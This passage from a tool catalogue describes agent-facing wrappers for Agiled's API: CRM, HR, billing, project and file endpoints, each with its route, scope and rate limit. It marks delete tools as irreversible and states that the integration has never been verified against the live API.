refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/ticketsreply/{id}. Scopes: write. agiled_delete_tickettypes_by_id (write, destructive) — Delete a ticket type via DELETE /tickettypes/{id}. A ticket type is the classification a ticket carries, and is one of the vocabularies a ticket's fields draw on. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/tickettypes/{id}. Scopes: write. agiled_delete_timelogs_by_id (write, destructive) — Delete a time log via DELETE /timelogs/{id}. A time log is a recorded interval of work against a task or project. Agiled also runs a live timer, started and stopped by its own endpoints, which writes a time log when it stops. DESTRUCTIVE AND IRREVERSIBLE: the record is removed and this integration cannot restore it. Read it first if you may need what it held. Needs a Full access key: Agiled fixes a key's abilities when it is minted and a Read only key answers 403 to this. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. DELETE /api/v1/agiled/timelogs/{id}. Scopes: write. agiled_get_account_by_id (read) — Retrieve a CRM account via GET /account/{id}. A CRM account is a company in the CRM -- the organisation that contacts, deals, meetings, notes and tasks hang off. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/account/{id}. Scopes: read. agiled_get_accounts (read) — List CRM accounts via GET /accounts. A CRM account is a company in the CRM -- the organisation that contacts, deals, meetings, notes and tasks hang off. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/accounts. Scopes: read. agiled_get_activities_by_type_by_id (read) — List a CRM record's activity via GET /activities/{type}/{id}. The activity feed is the audit trail Agiled keeps for one CRM record: who touched it, when, and what changed. It is addressed by the record's module and id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/activities/{type}/{id}. Scopes: read. agiled_get_attendance_current_clock_in (read) — Retrieve the open clock-in via GET /attendance/current-clock-in. Attendance is the clock-in/clock-out register for employees; a clock-in stays open until it is clocked out by its own id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/attendance/current-clock-in. Scopes: read. agiled_get_contact_by_id (read) — Retrieve a CRM contact via GET /contact/{id}. A CRM contact is a person in the CRM, normally attached to an account, and is the party invoices, estimates and meetings are addressed to. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/contact/{id}. Scopes: read. agiled_get_contacts (read) — List CRM contacts via GET /contacts. A CRM contact is a person in the CRM, normally attached to an account, and is the party invoices, estimates and meetings are addressed to. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/contacts. Scopes: read. agiled_get_crm_deals (read) — List deals via GET /crm/deals. A deal is one opportunity moving through a pipeline: a value, a stage, a source and a status, attached to an account or a contact. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/deals. Scopes: read. agiled_get_crm_deals_by_id (read) — Retrieve a deal via GET /crm/deals/{id}. A deal is one opportunity moving through a pipeline: a value, a stage, a source and a status, attached to an account or a contact. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/deals/{id}. Scopes: read. agiled_get_crm_files_download_by_type_by_id (read) — Download a CRM file via GET /crm/files/download/{type}/{id}. A CRM file is an attachment on a contact, account or deal. Agiled addresses it by the parent module and the record's id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/files/download/{type}/{id}. Scopes: read. agiled_get_crm_files_show_by_type_by_md5_id (read) — View a CRM file via GET /crm/files/show/{type}/{file_hash}. A CRM file is an attachment on a contact, account or deal. Agiled addresses it by the parent module and the record's id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/files/show/{type}/{file_hash}. Scopes: read. agiled_get_crm_meetings_by_type_by_id (read) — Retrieve a CRM record's meetings via GET /crm/meetings/{type}/{id}. A meeting is a scheduled conversation logged against a CRM record, addressed by the parent module (contact, account or deal) and that record's id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/meetings/{type}/{id}. Scopes: read. agiled_get_crm_notes_by_type_by_id (read) — Retrieve a CRM record's notes via GET /crm/notes/{type}/{id}. A CRM note is free text attached to a contact, account or deal, addressed by the parent module and that record's id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/notes/{type}/{id}. Scopes: read. agiled_get_crm_pipeline_by_id (read) — Retrieve a pipeline via GET /crm/pipeline/{id}. A pipeline is a named sequence of stages that deals move through; an account can run several. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/pipeline/{id}. Scopes: read. agiled_get_crm_pipeline_stages (read) — List pipeline stages via GET /crm/pipeline-stages. A pipeline stage is one column of a sales pipeline. Deals sit in exactly one stage, so the stage list is the vocabulary a deal's `stage` field has to come from. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/pipeline-stages. Scopes: read. agiled_get_crm_pipelines (read) — List pipelines via GET /crm/pipelines. A pipeline is a named sequence of stages that deals move through; an account can run several. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/pipelines. Scopes: read. agiled_get_crm_sources (read) — List CRM lead sources via GET /crm-sources. Agiled's fixed CRM vocabularies -- lead sources, deal stages and deal statuses. These are the allowed values for the corresponding fields on a deal, so read them before writing one. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm-sources. Scopes: read. agiled_get_crm_stages (read) — List CRM deal stages via GET /crm-stages. Agiled's fixed CRM vocabularies -- lead sources, deal stages and deal statuses. These are the allowed values for the corresponding fields on a deal, so read them before writing one. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm-stages. Scopes: read. agiled_get_crm_statuses (read) — List CRM deal statuses via GET /crm-statuses. Agiled's fixed CRM vocabularies -- lead sources, deal stages and deal statuses. These are the allowed values for the corresponding fields on a deal, so read them before writing one. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm-statuses. Scopes: read. agiled_get_crm_task_by_id (read) — Retrieve a CRM task via GET /crm/task/{id}. A CRM task is a to-do attached to a contact, account or deal. It is a different record from a PROJECT task: the project task tools live under /tasks and are addressed by project, not by CRM module. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/task/{id}. Scopes: read. agiled_get_crm_tasks_by_type_by_id (read) — Retrieve a CRM record's tasks via GET /crm/tasks/{type}/{id}. A CRM task is a to-do attached to a contact, account or deal. It is a different record from a PROJECT task: the project task tools live under /tasks and are addressed by project, not by CRM module. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/crm/tasks/{type}/{id}. Scopes: read. agiled_get_currencies (read) — List currencies via GET /currencies. An account-level reference list -- the currencies and tax rates the billing documents draw their allowed values from. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/currencies. Scopes: read. agiled_get_departments (read) — List departments via GET /departments. An HR reference list -- the departments and job designations an employee record's fields have to come from. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/departments. Scopes: read. agiled_get_designations (read) — List designations via GET /designations. An HR reference list -- the departments and job designations an employee record's fields have to come from. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/designations. Scopes: read. agiled_get_docs (read) — List documents via GET /docs. A document is a file stored in Agiled's document library, separate from the per-record attachments on projects, tasks and CRM records. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/docs. Scopes: read. agiled_get_employee_by_id (read) — Retrieve an employee via GET /employee/{id}. An employee is a person on the workspace's HR roster, carrying a department, a designation and the attendance and time-log history recorded against them. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/employee/{id}. Scopes: read. agiled_get_employees (read) — List employees via GET /employees. An employee is a person on the workspace's HR roster, carrying a department, a designation and the attendance and time-log history recorded against them. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/employees. Scopes: read. agiled_get_estimate_by_id (read) — Retrieve an estimate via GET /estimate/{id}. An estimate is a quote sent to a client before the work: the same line items an invoice carries, without being a demand for payment. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/estimate/{id}. Scopes: read. agiled_get_estimates (read) — List estimates via GET /estimates. An estimate is a quote sent to a client before the work: the same line items an invoice carries, without being a demand for payment. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/estimates. Scopes: read. agiled_get_event_type_by_id (read) — Retrieve an event type via GET /event-type/{id}. An event type is the bookable meeting template behind Agiled's scheduling pages -- duration, availability and location -- from which individual events are booked. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/event-type/{id}. Scopes: read. agiled_get_event_types (read) — List event types via GET /event-types. An event type is the bookable meeting template behind Agiled's scheduling pages -- duration, availability and location -- from which individual events are booked. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/event-types. Scopes: read. agiled_get_expense_by_id (read) — Retrieve an expense via GET /expense/{id}. An expense is a cost recorded against the business, optionally against a project, with an amount, a currency and a category. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/expense/{id}. Scopes: read. agiled_get_expenses (read) — List expenses via GET /expenses. An expense is a cost recorded against the business, optionally against a project, with an amount, a currency and a category. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/expenses. Scopes: read. agiled_get_folder_files_download_by_id (read) — Download a folder file via GET /folder-files/download/{id}. A folder file is a file stored in Agiled's file-manager folders, addressed by its own id rather than by the record it belongs to. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/folder-files/download/{id}. Scopes: read. agiled_get_folder_files_show_by_id (read) — View a folder file via GET /folder-files/show/{id}. A folder file is a file stored in Agiled's file-manager folders, addressed by its own id rather than by the record it belongs to. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/folder-files/show/{id}. Scopes: read. agiled_get_folders_list_all (read) — List all folders via GET /folders/list-all. A folder is a container in Agiled's file manager; folder files live inside one. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/folders/list-all. Scopes: read. agiled_get_form_by_id (read) — Retrieve a form via GET /form/{id}. A form is a published intake form whose submissions land in the workspace. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/form/{id}. Scopes: read. agiled_get_forms (read) — List forms via GET /forms. A form is a published intake form whose submissions land in the workspace. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/forms. Scopes: read. agiled_get_gettaskcomments_by_id (read) — List a task's comments via GET /getTaskComments/{id}. A task comment is a message on a project task's thread. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/getTaskComments/{id}. Scopes: read. agiled_get_invoice_by_id (read) — Retrieve an invoice via GET /invoice/{id}. An invoice is a billing document issued to a client, carrying line items, taxes, a currency and a payment status; payments are recorded against it separately. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/invoice/{id}. Scopes: read. agiled_get_invoices (read) — List invoices via GET /invoices. An invoice is a billing document issued to a client, carrying line items, taxes, a currency and a payment status; payments are recorded against it separately. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/invoices. Scopes: read. agiled_get_payment_gateway_credential (read) — Retrieve payment-gateway credentials via GET /payment-gateway-credential. The payment-gateway credentials are the live keys Agiled collects money with. They are the workspace's own secrets, not this connection's. Reads only; changes nothing. THE SECRET HALVES ARE REDACTED BEFORE THIS REPLY LEAVES AGENTIC FABRIQ: `stripe_secret`, `stripe_webhook_secret`, `paypal_secret`, `razorpay_secret`, `razorpay_webhook_secret`, `mollie_api_key` and `authorize_transaction_key` come back as `[REDACTED]`. These are the workspace's LIVE payment-processor keys and they belong to Stripe, PayPal, Razorpay, Mollie and Authorize.Net rather than to Agentic Fabriq. The identifiers and statuses are returned intact -- `paypal_client_id`, `stripe_client_id`, `razorpay_key`, `authorize_login_id`, every `*_status`, `paypal_mode`, `authorize_environment` -- which is what answers 'which gateways are live on this workspace'. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/payment-gateway-credential. Scopes: read. agiled_get_payments (read) — List payments via GET /payments. A payment is money received against an invoice. It is a separate record from the invoice: recording one here is what moves the invoice towards paid. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/payments. Scopes: read. agiled_get_product_by_id (read) — Retrieve a product via GET /product/{id}. A product is a catalogue item with a price and a tax, used as the source of line items on invoices and estimates. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/product/{id}. Scopes: read. agiled_get_products (read) — List products via GET /products. A product is a catalogue item with a price and a tax, used as the source of line items on invoices and estimates. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/products. Scopes: read. agiled_get_project_by_id (read) — Retrieve a project via GET /project/{id}. A project is the unit of delivery work: it holds milestones, tasks, files and time logs, and is attached to a client. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/project/{id}. Scopes: read. agiled_get_project_category (read) — List project categories via GET /project-category. A project category is the grouping label a project carries; it is the vocabulary a project's `category` field has to come from. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/project-category. Scopes: read. agiled_get_project_files_download_by_id (read) — Download a project file via GET /project/files/download/{id}. A project file is an attachment on a project, addressed by its own file id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/project/files/download/{id}. Scopes: read. agiled_get_project_files_show_by_id (read) — View a project file via GET /project/files/show/{id}. A project file is an attachment on a project, addressed by its own file id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/project/files/show/{id}. Scopes: read. agiled_get_projects (read) — List projects via GET /projects. A project is the unit of delivery work: it holds milestones, tasks, files and time logs, and is attached to a client. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/projects. Scopes: read. agiled_get_sales_agents (read) — List sales agents via GET /sales-agents. A sales agent is the workspace member a deal or client can be assigned to; the list is the vocabulary an assignment field has to come from. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/sales-agents. Scopes: read. agiled_get_task_by_id (read) — Retrieve a task via GET /task/{id}. A task is a unit of project work, attached to a project and optionally to a milestone, with an assignee, a status and its own time logs. It is a different record from a CRM task, which hangs off a contact, account or deal. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/task/{id}. Scopes: read. agiled_get_task_files_download_by_id (read) — Download a task file via GET /task/files/download/{id}. A task file is an attachment on a project task, addressed by its own file id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/task/files/download/{id}. Scopes: read. agiled_get_task_files_show_by_id (read) — View a task file via GET /task/files/show/{id}. A task file is an attachment on a project task, addressed by its own file id. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/task/files/show/{id}. Scopes: read. agiled_get_task_statuses (read) — List task statuses via GET /task-statuses. The task statuses are the account's fixed vocabulary for a task's `status` field. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/task-statuses. Scopes: read. agiled_get_taskcategories (read) — List task categories via GET /taskcategories. A task category is the grouping label a project task carries. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this tool's request and response shapes are Agiled's own OpenAPI document and only its ROUTING is measured. First use is the first real test. GET /api/v1/agiled/taskcategories. Scopes: read. agiled_get_tasks (read) — List tasks via GET /tasks. A task is a unit of project work, attached to a project and optionally to a milestone, with an assignee, a status and its own time logs. It is a different record from a CRM task, which hangs off a contact, account or deal. Reads only; changes nothing. Agiled allows 180 requests per hour per account and nothing here paces you. NOT VERIFIED AGAINST THE LIVE API: no Agiled credential has ever authenticated from Agentic Fabriq (two tokens, thirteen carrier shapes, all refused identically), so this 